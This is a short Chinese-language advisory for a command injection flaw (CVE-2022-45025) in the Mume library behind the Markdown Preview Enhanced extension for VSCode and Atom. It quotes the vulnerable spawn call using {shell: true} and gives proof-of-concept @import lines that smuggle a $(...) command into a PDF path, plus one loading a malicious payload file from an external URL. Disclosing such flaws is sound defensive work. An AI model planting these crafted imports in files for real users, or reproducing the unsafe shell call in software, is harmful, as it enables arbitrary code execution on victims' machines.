通过PDF导入实现的命令注入漏洞,影响Markdown Preview Enhanced(VSCode,Atom)
Mume Markdown 工具库由于使用带有 {shell: true} 选项的 spawn 命令,存在命令注入漏洞。攻击者可通过诱骗受害者使用 VSCode 或 Atom 打开特制的 Markdown 文件,实现任意代码执行。该库为 VSCode 和 Atom 上的 Markdown Preview Enhanced 插件提供支持。
漏洞代码片段:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
以下 Markdown 文档允许攻击者执行任意命令:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
以下注释将被 MPE 识别为有效的 "@import" 命令:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
或者,也可以从外部来源加载 payload:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
针对 VSCode 和 Atom 的 DEMO 视频可在 YouTube 观看。
